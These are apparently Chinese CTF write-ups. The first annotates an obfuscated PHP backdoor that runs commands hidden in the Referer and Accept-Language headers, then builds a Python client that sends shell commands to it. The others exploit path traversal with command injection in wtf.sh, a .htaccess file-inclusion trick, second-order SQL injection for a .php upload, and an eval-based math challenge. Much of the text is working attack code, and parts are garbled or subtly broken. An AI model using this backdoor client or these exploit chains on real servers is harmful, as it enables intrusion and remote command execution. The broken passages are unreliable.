for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
echo $t{$i};
$o .= $t{$i} ^ $k{$j}; }
}
return $o;
}
#获取服务器环境变量
$r = $_SERVER;#获取reffer头
$rr = @$r["HTTP_REFERER"];#at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。如果启用了track_errors功能,则表达式生成的错误消息将保存在变量$ php_errormsg中。每个错误都会覆盖此变量。
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];#获取浏览器语言
if ($rr && $ra) {
#解析url
$u = parse_url($rr);
/*[query] => arg=value 这个是查询语句返回的数组中的键值 而下面将查询到的referer中的查询字符串解析为键值对变量,并且保存在数组$q中*/
parse_str($u["query"], $q);
#返回$q中的所有值
$q = array_values($q);
#执行全局的正则匹配表达式,将结果输出到$m数组中,这个可以单独拿出来看
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
/*/([\w])[\w-]+(?:;q=0.([\d]))?,?/
\w匹配字母数字下划线
[\w]匹配数字字母下划线中的任何字符
([\w]把匹配到的数字字母下划线放到一个分组中
[\w-]匹配数字字母下划线与-中的任何字符
+表示匹配一个或更多个前面的标记连起来就是匹配不止一个数字字母下划线和-
(?:)表示非捕获分组用于单纯的把数个标记组在一起用于后面的?组合匹配
;q=0表示匹配;q=0这些字符
.表示匹配任何字符不包括换行符
([\d])\d表示匹配任何数字0-9
?表示匹配0个或一个前面的标记
(?:;q=0.([\d]))?综合起来就是匹配;q=0任意字符 数字一次但不捕获
,?表示匹配0次逗号或者一次逗号
* */
if ($q && $m) {
#屏蔽错误并且开启一个新的session
@session_start();
#$s也同时可以使用$_SESSION的值 ,两个变量指向一个内容
$s =& $_SESSION;
$ss = "substr";
$sl = "strtolower";
#拼接前两中语言的首字母
$i = $m[1][0] . $m[1][1];
#在连接预定义字符串截取0-3位,在进行小写转换
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
需要注意这个正则函数 preg_match_all()
, 该函数从 Accept-Language
取值 , 然后通过正则匹配后输出到 $m 数组中 . 单独拿出来看 , $m 数组的输出内容是如下这样的 .
$m[0] : 所有可选语言及其权重系数
$m[1] : 所有可选语言的首字母
$m[2] : 所有可选语言的权重值( 不清楚该怎么说 , 反正你能明白 )
举个例子 : Accept-Language: zh-cn,zh;q=0.5
1. Accept-Language表示浏览器所支持的语言类型 .
2. zh-CN 表示简体中文 , zh 表示中文 , 不同语言之间用逗号分割 .
3. q 是权重系数 , 范围为 [0,1] . q 值越大 , 请求越倾向于获得其对应语言表示的内容 . 若没有指定 q 值,则默认为1 . 若被赋值为0 , 则用于提醒服务器该语言是浏览器不接受的内容类型 .
然后拼接了前两种可选语言的首字母 , 和预定义的字符串拼接并进行 md5 校验 , 截取等操作 . 然后赋值给 $h
和 $f
两个变量
#$p 应该是指payload,现在还为空
$p = "";
for ($z = 1; $z < count($m[1]); $z++)
# $m[2]是语言权重的整数值
$p .= $q[$m[2][$z]];
#如果$p 中$h首次出现的位置在开头
if (strpos($p, $h) === 0) {
$s[$i] = "";
#返回 $p 中的第四个字符到末尾的字符串(即去除$p前三个字符)
$p = $ss($p, 3);
}
#查找数组$s中是否有指定键名$i,即查找$-SESSION中是否存在键名$i
if (array_key_exists($i, $s)) {
# $_SESSION[$i] = $_SESSION[$i] . $p
$s[$i] .= $p;
#$e 为$_SESSION[$i] 中$f第一次出现的位置
$e = strpos($s[$i], $f);
循环中的 $p .= $q[$m[2][$z]]
会不断从 $q
中提取数据 . 结合之前的代码 , 攻击代码是放在 Referer
中的( 最后会放在 $q
中 ) , 因此这里可以看作是拼接攻击代码 , 组合成 Payload . ’
然后判断 h 是否出现在 P a y l o a d 的开头 , 若是则设置 ‘ h 是否出现在 Payload 的开头 , 若是则设置 ` h是否出现在Payload的开头,若是则设置‘_SESSION[‘$i’] = “”` , 同时删除 Payload 的 $h 部分 .
接着判断 $_SESSION
中那个是否存在 $i
这个键名 , 若是则将 Payload 赋值给 $_SESSION[$i]
, 然后查找 $_SESSION[$i]
( 也就是 Payload ) 中 $f
第一次出现的位置 .
if ($e) {
#$k = 42f7e9ac
$k = $kh . $kf;
ob_start();
/*这段比较复杂
$ss($s[i],0,$e) 先删除了$_SESSION[$i] 中的 $f.
preg_replace():将剩余部分中的'_'和'-'替换为'/'和'+'
base64_decode():然后对替换后的内容进行base64解码
x():接着对其进行那个异或加密,该函数在开头定义了
gzuncompress():解压一个压缩字符串
最后通过eval执行
* */
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
# 返回输出缓冲区内容到$o
$o = ob_get_contents();
#清空缓冲区并关闭输出缓冲
ob_end_clean();
#对缓冲区输入内容通过gzcompress()函数压缩,通过x()异或加密,通过base64编码
$d = base64_encode(x(gzcompress($o), $k));
print("<$k>$d</$k>");
#销毁一个会话中的所有数据
@session_destroy();
}
}
}
}
$g=create_function('',$f);
$g();
?>
紧跟上面的上面的代码,若payload中找到了 f 第一次出现的位置 , ( 也就是说明 f第一次出现的位置,(也就是说明 f第一次出现的位置,(也就是说明f在payload中),就会继续执行如下过程.
- 生成密钥$k,该值由预定义的两个字符串拼接而成,然后打开输出控制缓冲区
- 截取payload中从开头到 f 出现位置的这部分字符串 ( 由此可以判断 f出现位置的这部分字符串(由此可以判断 f出现位置的这部分字符串(由此可以判断f应该是出现在payload的末尾,这里删去$f)
- 利用pre_replace()函数,正则替换字符串中的’_‘和’-‘为’/‘和’+’
- 替换后的字符串进行base64_decode解码操作
- 对解码后的字符串进行循环异或运算(就是调用x()函数)
- 对计算后的字符串调用gzuncompress()函数进行压缩
- 通过eval()函数执行压缩后的字符串
- 返回输出到缓冲区的内容,然后清空并关闭输出缓冲区
- 对缓冲区输出的内容通过gzcompress()函数进行压缩,再通过x()函数进行循环异或运算,最后通过base64_encode编码输出
整个后门代码的思路就是应该如上,攻击者通过referer传输攻击代码,这段攻击代码的格式应该为填充字符串+加密混淆后的payload+填充字符串.
该后门脚本接受到攻击者传送的数据包,先按照一定的顺序取出攻击代码,然后把前面两侧的填充字符串去除,拿到payload,然后对payload进行解密反混淆操作,接着通过eval函数执行攻击者指定的命令,最后通过命令执行结果加密编码呈现给攻击者
整体的解密流程还是非常清晰的,我们知道了后门是如何处理攻击者发送的恶意数据包,但是我们现在还没有连接脚本.无法构造出后门能处理的请求.因此这里需要逆向整个解密流程,以便构造出请求的数据包
逆向分析后门解密过程
我们需要根据解密流程构造出加密过程,其主要过程如下所示
-
定义一些变量与函数
<?php $kh = "42f7"; $kf = "e9ac"; $k = "42f7e9ac";#$k = $kh.$kf $language = "en,zh-CN;q=0.9,zh;q=8,zh-TW;q=0.7";#假设的 Accept-Language preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$language,$m);#输出$m 数组 $i = "ez";#$i = $m[1][0].$m[1][1];$m[1][0] = "e" , $m[1][1] = "z" $h = strtolower(substr(md5($i.$kh),0,3)); $f = strtolower(substr(md5($i.$kf),0,3));#定义x()函数 #由于异或运算是循环的(A ^ B ^ B = A),因此加密解密函数不变 function x($t,$k){ $c = strlen($k); $l = strlen($t); $o = ""; for ($i = 0;$i < $l;){ for ($j = 0;($j < $c && $i < $l);$j++,$i++){ $o .= $t[$i] ^ $k[$j]; #php在7.4不在使用花括号访问数组或者字符串的偏移量需要将{}换成[]解决,这里先放着 } } return $o; } echo x($h,$f);
这里主要提一下函数x(),正如注释里写的由于 A ^ B ^ B = A这个特性,所以加密过程和机密过程的x() 是完全相同的
-
构造payload
#构造payload $payload1 = "phpinfo()";#假设payload1为phpinfo(); $payload2 = @gzcompress($payload1);#gzuncompress 逆向操作 $payload3 = @x($payload2,$k);#因为是异或运算,就无所谓逆向不逆向 $payload4 = @base64_encode($payload3);#base64-decode逆向操作 $payload5 = preg_match(array("/\//","/\+/"),array("_","-"),$payload4); #逆向正则替换 $payload6 = $payload5.$f;# 在末尾补齐$f $payload7 = $h . $payload6;#在开头补全$h $payload = $payload7;#根据源代码 $p .=$q[$m[2][$z]];可以看出 $payload 拼接自 $q, $p来自与 HTTP_REFERER #因此这里要构造 referer $referer = "http://example.cpm/?a=qwer&b=$payload"; #解密时会按照一定的顺序从referer 中取出payload,但是加密过程不需要这一步 echo $referer,PHP_EOL;
结合加密过程的内容,构造的payload过程
-
对收到的数据包的处理
因为后门会在eval()处理完毕后返回输出信息,且输出信息是被加密过的,因此还需要一个解密过程
$output = "xxx";#假设这是收到的响应数据 $o1 = base64_decode($output); $o2 = x($o1,$k); $o3 = gzuncompress($output);
以上就是整个加密构造payload并接收响应数据的流程,思路还是比较简单的
现在就需要构造出最终的连接脚本
构造构造连接脚本
-
因为从referer中提取的payload的殊勋依赖于Accept-Language,而不同的客户端发送的Accept-Language可能不一样,因此这里需要一个函数来辅助生成随机的可选语言及权重值
# 用于生成随机的 Accept-Language import base64 import random import re import string # from idlelib.debugger_r import debugging import urllib.parse import zlib from hashlib import md5import requests from urllib3.connectionpool import xrange def choicePart(seq, amount): # 获取seq的长度 length = len(seq) # 如果长度等于零或者长度小于amount的值就打印错误返回空值 if length == 0 or length < amount: print('Error Input') # 返回空值 return None result = [] # 定义结果数组 indexes = [] # 定义索引数组 count = 0 # 当count < amount时就 while count < amount: i = random.randint(0, length - 1) if not i in indexes: # 如果i不在indexes数组里面 indexes.append(i) # 就追加上i result.append(seq[i]) # result数组就追加seq的第i位字符 count += 1 # count+一 if count == amount: # 如果和amount参数值相等 return result # 就返回值 # 生成随机填充字符串(由所有ASCII字符组成,可以不包括不可读的字符) def rand_bytes_flow(amount): result = '' for i in range(amount): # 这里产生0 - amount 的数字 result += chr(random.randint(0, 255)) # 返回一个随机字符串 return result
先判断输入的序列串是否为空,不为空就建立result数组,并循环经序列串中的值添加到result数组中,这里的序列串的是可以是可选语言,也可以是权重值,最后返回result数组
-
因为实际攻击代码的组成为随机填充数据+payload+随机填充数据,并且构造交互式shell也需要随机填充数据,因此这里需要创建函数来生成随机数来填充数据
# 生成随机填充字符串(由所有ASCII字符组成,可以不包括不可读的字符) def rand_bytes_flow(amount): result = '' for i in range(amount): # 这里产生0 - amount 的数字 result += chr(random.randint(0, 255)) # 返回一个随机字符串 return result # 生成随机填充字符串(有所有大小写字符组成) def rand_alpha(amount): result = '' for i in range(amount): # choice() 方法返回一个列表,元素或字符串的随机项 # string.ascii_letters 会生成所有字母 result += random.choice(string.ascii_letters) return result
这里创建了两个函数,分别对应不同的情况
-
循环异或函数
#模拟x()函数,循环异或加密 def loop_xor(text,key): result = '' len_key = len(key) len_text = len(text) i = 0 while i < len_text: j = 0 while i < len_text and j < len_key: result += chr(ord(key[j]) ^ ord(text[i])) i += 1 j += 1 return result
代码中x()函数
-
开启debug
#开启debug选项 def debug_Print(msg): if debugging: print(msg)
这个可开可不开 , 开启 Debug 有助于代码分析
-
定义基本变量
# 定义基本变量 debugging = False # 默认关闭debug,可用true开启 keyh = "42f7" # $kh,需要更改 keyf = "e9ac" # $kf,需要更改 xor_key = keyh + keyf # $k异或密钥 url = 'http://111.200.241.244:61732/hack.php' # 指定url,需要更改 defaultlang = 'zh-CH' # 默认Language languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d'] # Accept-Language 模板 proxies = {'http': 'http://127.0.0.1:8080'} # 代理,可用burpsuite截取 sess = requests.Session() # 创建一个session对象
-
生成完整的Accept-Language和payload两侧填充的随机填充空白
# 每次会话产生一次随机的 Accept-Language lang_tmp = choicePart(languages, 3) # 这里先输出了一个列表,里面包含模板中的三种Aceept-language indexes = sorted(choicePart(range(1, 10), 3), reverse=True) # 首先返回了一个三个数字的数组并且按照降序进行排序 例如[8,7,2] accept_lang = [defaultlang] # 先添加默认langguage for i in range(3): accept_lang.append(lang_tmp[i] % (indexes[i])) accept_lang_str = ','.join(accept_lang) # 使用,连接数组中的元素使其反回一个字符串 # accep_lang_str就是要使用的Accept-language#print(accept_lang_str) init2Char = accept_lang[0][0] + accept_lang[1][0] # $i 这里的就是数组中的 字符串 所以是二维数组 md5 = md5() md5.update((init2Char + keyh).encode()) md5head = (md5.hexdigest())[0:3] # 这块首先进行连接在返回md5值,再返回16进制的数据字符串值 在进行截取前三位 md5.update((init2Char + keyf).encode()) md5tail = (md5.hexdigest())[0:3] + rand_alpha(random.randint(3, 8)) # $f + 填充字符串 在进行连接随机数量的填充字符
-
构造payload这里有点问题在python3 中没有找到合适的函数进行解密
# 构造payload # 交互式shell cmd = "system('" + input('shell > ') + "');" # 其中input函数是从命令行获取标准输入并返回字符串 while cmd != '': # 在写入payload前填充一些无关数据 query = [] for i in range(max(indexes) + 1 + random.randint(0, 2)): key = rand_alpha(random.randint(3, 6)) value = base64.urlsafe_b64encode( (rand_bytes_flow(random.randint(3, 12))).encode()).decode() # 转换为适合url传输的base64格式 query.append((key, value)) # 对payload进行加密 payload = (zlib.compress('cmd'.encode())).decode('utf-8',errors='ignore') print(payload) # 使用zlib.compress进行压缩操作 就是compress操作而这里的cmd是字符串而非bytes类型所以使用嗯code进行编码 payload = loop_xor(payload, xor_key) # 进行循环异或运算,相当于PHP代码中的x函数 payload = base64.urlsafe_b64encode(payload.encode()).decode() # 进行url的base64编码 payload = md5head + str(payload) # print(payload)# 在开头补全$h 而这里的payload 是bytes类型所以转换成str # 对payload进行修改1 cut_index = random.randint(2, len(payload) - 3) payload_pieces = (payload[0:cut_index], payload[cut_index:], md5tail) i_piece = 0 for i in indexes: query[i] = (query[i][0], payload_pieces[i_piece]) i_piece += 1 # 将payload作为查询字符串编码拼接到referer中 referer = url + '?' + urllib.parse.urlencode(query)
这里的代码用于构造payload,包括添加payload两侧的随机填充数据,payload本身的加密,最终把加密混淆后的payload作为参数值传输到referer中
-
发送请求数据,并接收处理响应数据
攻击代码写好了,下面仅需要发送请求并接收数据,解密后即可查看到攻击者的命令执行结果
headers = {'Accept-Language': accept_lang_str , 'Referer': referer } req = sess.get(url, headers=headers, proxies=proxies) #print(req.text) html = req.text # 接收响应数据包 pattern = re.compile(r'<%s>(.*)</%s>' % (xor_key, xor_key)) output = pattern.findall(html) #print(output) # 如果没有响应包,则对其进行处理 if len(output) == 0: print('Error, no backdoor response') cmd = "system('" + input('shell > ') + "');" continue # 如果收到响应数据包,则对其进行处理 output = output[0] output = output.encode('base64') # base64_decode解码 output = loop_xor(output, xor_key) # 循环异或运算 output = zlib.decompress(output.encode()) # geuncompress 运算 print(output) # 输出响应信息 cmd = "system('" + input('shell > ') + "');"
连接脚本获得数据
目录穿越配合代码审计写wtf脚本
目录穿越得到admin的cookies得到flag1
打开之后先点点看扫一下目录,做一下常规操作,目录没扫到有用的
登录这里是用户名和密码分开验证的
当用户名存在时验证密码
这里可能存在注入这里直接sqlmap跑一下
注册一个用户试试看,发现登录这里有用户名的回显,这里可能存在二次注入
newpost这里也有回显,都用sqlmap跑一下试试看
链接这里也发现一个参数
测试了目录穿越漏洞
http://111.200.241.244:63284/post.wtf?post=./K8laH 回显正常
http://111.200.241.244:63284/post.wtf?post=../K8laH 回显错误
http://111.200.241.244:63284/post.wtf?post=../ 直接爆文件了
这里搜索一下flag
发现在ft=wtf中存在
这里需要是cookies是admin并且username=admin才会输出flag1!在这里发现一个users有可能存放用户信息
这里经过尝试越权并不现实
这里的token是含盐的,既然有token这里去源码搜一下
回头使用目录穿越找一下users文件
这里发现了admin的token值,直接使用这两个值登一下
这里登进去的页面找了一圈也没有,发现在profile下面,记得再次更改cookies登进去
Flag: xctf{cb49256d1ab48803 这里得到flag1
代码审计写wtf脚本
那2呢?
要求上传.wtf文件,就可以控制服务器
而评论功能也存在路径穿越
function reply {local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";
评论功能的后台代码,也是存在路径穿越的。
代码把用户名写在了评论文件的内容中:echo “ u s e r n a m e " > " {username}" > " username">"{next_file}”;
通过上面的分析:如果用户名是一段可执行代码,而且写入的文件是 wtf 格式的,那么这个文件就能够执行我们想要的代码。 (而且wtf.sh只运行文件扩展名为.wtf的脚本和前缀为’$'的行)先普通地评论一下,知晓评论发送的数据包的结构,在普通评论的基础上,进行路径穿越,上传后门sh.wtf
先注册一个${find,/,-iname,get_flag2}为用户名的用户
这里前面加个$是wtf文件执行命令的写法 find 所有目录下 不分大小写, get_flag2的名字的文件
到这个回复中
访问这个文件
%09是水平制表符,必须添加,不然后台会把我们的后门当做目录去解析。
在注册这个名字$/usr/bin/get_flag2
得到第二部分的flag
149e5ec49d3c29ca}
攻防世界blgdel
目录扫描
打开看看
robots.txt下面发现config.txt文件打开后得到源码
<?phpclass master
{
private $path;
private $name; function __construct()
{ } function stream_open($path)
{/* /(.*)\/(.*)$/s
.表示匹配任何字符包括换行符
*表示匹配0个或者更多个前面的标记
(.*)用来捕获分组
\/表示匹配/字符
.表示匹配任何字符包括换行符
*表示匹配0个或者更多前面的标记
(.*)表示捕获分组
$表示匹配字符串的结尾
s表示会匹配任何字符包括换行符
综上表示匹配文末带有/的所有字符并以/作为分割进行捕获
*/
if(!preg_match('/(.*)\/(.*)$/s',$path,$array,0,9))#如果没有匹配到就返回1
return 1;
$a=$array[1];#将array的第二个值赋值给a
parse_str($array[2],$array);#将匹配到的第二个参数值进行变量的解析成变量与值的形式 if(isset($array['path']))#设置了path参数
{
$this->path=$array['path'];#将path值赋值给成员变量path
}
else
return 1;
if(isset($array['name']))
{
$this->name=$array['name'];
}
else
return 1; if($a==='upload')#如果a强等于upload
{
return $this->upload($this->path,$this->name);#就执行upload方法
}
elseif($a==='search')
{
return $this->search($this->path,$this->name);
}
else
return 1;
}
function upload($path,$name)
{
if(!preg_match('/^uploads\/[a-z]{10}\/$/is',$path)||empty($_FILES[$name]['tmp_name']))
return 1;
/*/^uploads\/[a-z]{10}\/$/is
^表示匹配字符串开头
uploads匹配upload字符串
\/匹配/字符
[a-z]中的任何字符总共匹配前面的十个
\/匹配/字符
$匹配字符串结尾
i表示大小写不敏感
s表示会匹配任何字符包括换行符
综上表示匹配以uploads/十个字符/ 为开头结尾的字符串*/ $filename=$_FILES[$name]['name'];#获取上传文件的名称
echo $filename; $file=file_get_contents($_FILES[$name]['tmp_name']);#读取临时名字文件的值到字符串,也就是读取上传文件到字符串 $file=str_replace('<','!',$file);#替换<
$file=str_replace(urldecode('%03'),'!',$file);
$file=str_replace('"','!',$file);
$file=str_replace("'",'!',$file);
$file=str_replace('.','!',$file);
if(preg_match('/file:|http|pre|etc/is',$file))#匹配file:或者http或者pre或者etc
{
echo 'illegalbbbbbb!';
return 1;
} file_put_contents($path.$filename,$file);#将字符串输出并重命名为path+filename
file_put_contents($path.'user.jpg',$file);#在输出并重命名为path+user.jpg
echo 'upload success!';
return 1;
}
function search($path,$name)
{
if(!is_dir($path))#如果路径不是一个目录
{
echo 'illegal!';
return 1;
}
$files=scandir($path);#将目录下的文件全部找出来放到files数组中去
echo '</br>';
foreach($files as $k=>$v)#循环
{
if(str_ireplace($name,'',$v)!==$v)#将名字替换为空且不区分大小写如果不等于$v就输出v
{
echo $v.'</br>';
}
} return 1;
} function stream_eof()
{
return true;
}
function stream_read()
{
return '';
}
function stream_stat()
{
return '';
}}stream_wrapper_unregister('php');#取消这个协议
stream_wrapper_unregister('phar');
stream_wrapper_unregister('zip');
stream_wrapper_register('master','master');#注册这个协议?>
./htaccess文件禁止访问,这里服务器使用了./htaccess文件,有可能与文件上传有关
有注册有登录还有个文件上传页面,但是文件上传页面需要登录才能访问这里直接注册一个登录进去试试
上传页面有
限制登录,这里发现在注册时
有一个推荐人,第一次注册时填的自己,给了十分,这里多注册几个有分在去访问upload试试
这里随便上传一个一句话查找一下图片地址,发现一个目录穿越漏洞
发现过滤了
接着上传.htaccess文件,并将内容改为
php_value auto_append_file master://search/path=%2fhome%2f&name=flag
接着在上传php文件
然后访问这个文件
得到flag的名字hiahiahia_flag
在上传一个.htaccess文件
php_value auto_append_file /home/hiahiahia_flag
在上传一个php文件,接着访问这个文件
首先进行目录扫描,搜到几个目录挨个访问得到了php源码,并发现了一个.htaccess文件,感觉像是文件上传漏洞的利用,经过简单的代码审计发现有上传点,并且有一个php协议的过滤.接着可以对本系统进行常规测试,发现没有注入,xss等常见漏洞,接着观察系统在基本功能要求之外的功能,即一个上传点(上传头像图片),和一个搜索点用于搜索以前的头像,在上传页面这里可以发现有权限问题,这里要注意前面注册时存在一个推荐人的地方,发现可以刷积分.
这里进入去文件上传发现会过滤php必要代码,也发现常见的伪协议都不能使用,但是新注册了一个master协议.根据上传文件得到了一个目录遍历漏洞,接着发现上传给每一个用户单独的目录.接着试着上传htaccess文件,其中可以写入php_value auto_prepend_file 1 这种语句,即通过上传漏洞,上传一个包含点上去,将上传漏洞变为上传+文件包含漏洞进行利用.而解饿和上传时pre为黑名单,可以想到此时的网站auto_prepend_file 为这个config.php,无法修改,无法替换增auto_prepend_file而使用php,zip等伪协议,所以接着考虑远程包含,和这个新注册的master协议,发现我们可以控制协议则可以给任意目录上传搜索文件,而协议流程和对象注入差不多,先是执行__construct,再是stream_open,upload/search,stream_read…主要是upload和search,其余方法都做l处理,而上传目录被限制了,但是我们可以通过目录遍历漏洞去找文件.
上传.htaccess,内容为php_value auto_prepend_file master://search/path={}&name={},此时注意 / 要替换为%2f,否则不能成功 接着在上传一个任意php文件,接着通过目录遍历漏洞访问.在payload为php_value auto_append_file master://search/path=%2fhome%2f&name=flag时,找到了hiahiahia_flag文件 此时在上传一个.htaccess,内容为php_value auto_append_file /home/haihaihai_flag就可以包含flag在访问php文件就可以看到falg
文件上传配合二次注入
扫目录
下载www.tar.gz文件得到源码
xdctf.sql
SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;DROP DATABASE IF EXISTS `xdctf`;
CREATE DATABASE xdctf;
USE xdctf;DROP TABLE IF EXISTS `file`;
CREATE TABLE `file` (
`fid` int(10) unsigned NOT NULL AUTO_INCREMENT,
`filename` varchar(256) NOT NULL,
`oldname` varchar(256) DEFAULT NULL,
`view` int(11) DEFAULT NULL,
`extension` varchar(32) DEFAULT NULL,
PRIMARY KEY (`fid`)
) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=utf8;SET FOREIGN_KEY_CHECKS = 1;
这里是数据库的信息主要提供给几个关键字段,有oldname filename extension
common.inc.php
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午7:58
*/$DATABASE = array( "host" => "127.0.0.1",
"username" => "root",
"password" => "ayshbdfuybwayfgby",
"dbname" => "xdctf",
);#数据库连接的基本量$db = new mysqli($DATABASE['host'], $DATABASE['username'], $DATABASE['password'], $DATABASE['dbname']);
$req = array();foreach (array($_GET, $_POST, $_COOKIE) as $global_var) {
foreach ($global_var as $key => $value) {
is_string($value) && $req[$key] = addslashes($value);#值是string 并且请求中的值为addslashes的值'"\%00
}
}define("UPLOAD_DIR", "upload/");function redirect($location) {
header("Location: {$location}");
exit;
}
这里是数据库的配置文件的信息,对所有的提交数据进行了addslashes转义,当开启gpc魔术方法之后会产生过滤,这里发现并没有,那么如果数据库并没有使用gkb编码的话就无法宽字节绕过,这里未知所以无法直接注入
upload
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午8:45
*/require_once "common.inc.php";if ($_FILES) {#如果是文件
$file = $_FILES["upfile"]; #将upfile以数组形式进行返回
if ($file["error"] == UPLOAD_ERR_OK) {#如果上传文件没有错误的话
$name = basename($file["name"]);#得到文件的名字并将其转换为一个全路径的字符串
$path_parts = pathinfo($name);#以数组的形式返回文件的路径为一个列表其中extension就是文件的扩展名 if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {#定义白名单,如果扩展名不在这个数组里面就退出
exit("error extension");
}
$path_parts["extension"] = "." . $path_parts["extension"];#文件的扩展名前面加点 $name = $path_parts["filename"] . $path_parts["extension"];#文件名字加扩展名 // $path_parts["filename"] = $db->quote($path_parts["filename"]);
// Fix
$path_parts['filename'] = addslashes($path_parts['filename']);#对得到的文件名进行转义主要转义'\"%00 $sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";#将文件名和扩展名进行查询 $fetch = $db->query($sql); if ($fetch->num_rows > 0) {
exit("file is exists");#如果匹配到行数大于0就说明问文件已经存在
} if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {#没找到就移动文件就上传到upload/目录下面 $sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";#插入file表里面filename 0 和 extension
$re = $db->query($sql);
if (!$re) {
print_r($db->error);
exit;
}
$url = "/" . UPLOAD_DIR . $name;#给出url
echo "Your file is upload, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
} else {
exit("upload error");
} } else {
print_r(error_get_last());
exit;
}
}
这里是对上传的白名单,并且仅仅是上传操作,并没有转码等操作,%00无法截断的话是无法造成.php文件的,所以直接上传是无法进行利用的.
rename
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午9:39
*/require_once "common.inc.php";#加载文件一次if (isset($req['oldname']) && isset($req['newname'])) {#如果设置了老名字 设置了新名字
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");#从数据库查询老名字
if ($result->num_rows > 0) {
$result = $result->fetch_assoc();#从结果级中取一行为关联数组
} else {
exit("old file doesn't exists!");
} if ($result) {#如果返回超过一行结果 $req['newname'] = basename($req['newname']);#reqnewname将路径中的文件名进行返回
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='' where `fid`={$result['fid']}");#更新名字为新名字老命自为低了那么
#$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='',`extension`='' where `fid`={$result['fid']}");#更新名字为新名字老命自为低了那么
if (!$re) {
print_r($db->error);
exit;
}
$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];#老名字等于路径加文件名加扩展名
$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];#新名字等于上传路径加新名字加扩展名
if (file_exists($oldname)) {#如果老命字存在的话
rename($oldname, $newname);#重名名老命字为新名字
}
$url = "/" . $newname;
echo "Your file is rename, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
}
}
?>
这里是rename重命名首先这里面的数据是从数据库中掏出来的,而从数据库中出来的数据会将在添加如数据库之前的\进行去除,那么这里就有可能造成二次注入 ,也就是先填入数据库中,在从数据库中取出来,在拼接到后面的语句上,造成二次注入.这里还有对extension与输入文件名的拼接操作,这里如果new文件名为1.php,并且extension为空的话就可以构造出.php为后缀的文件.
那么我们反过来看要输入一个新文件名字为1.php并且extension为空的话就可以利用.file_exists还要存在,这里的存在的老名字是全体名字也就是1.txt.也就是存在一个1.txt的文件那么我们要使1.txt的extension的值为空就需要利用update来注入
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='',`extension`='' where `fid`={$result['fid']}");#更新名字
也就是上传一个’,extension
='.txt为后缀的文件名的文件,这里会将.txt去除因此最后拼接起来就将1.txt的extension值替换为空了,但是仔细考虑,这里接着会继续向下走,会把名字拼接成1.txt.txt,但是此时数据库里的值是
filename=1.txt extension=""
但是这里是数据库里的值,真正的upload目录下是没有1.txt这个文件的.而是1.txt.txt文件,那么如果需要绕过file_exists()的话就需要再次上传1.txt文件.
接着就是对1.txt文件改名,前面我们已经说过了,现在数据库里的1.txt文件的extension值为空,那么我们对他进行重命名时会,从数据库里去除extension的值与新文件名进行拼接,那么如果上传一个1.php就会变成1.php+''为1.php
连接即可
love_math攻防世界
扫目录
这题真简单…
打开网页得到源码
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){#如果没有设置c参数就显示源码
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];#将得到的c赋给
if (strlen($content) >= 80) {#要是长度大于80就输出
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];#黑名单
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {#m表示多行匹配
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos',
'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite',
'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi',
'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);#匹配完的结果放到funcs数组里面,这里的preg_match_all将匹配到的元素放在一层数组里面
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {#如果不在数组里
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');#eval输出c
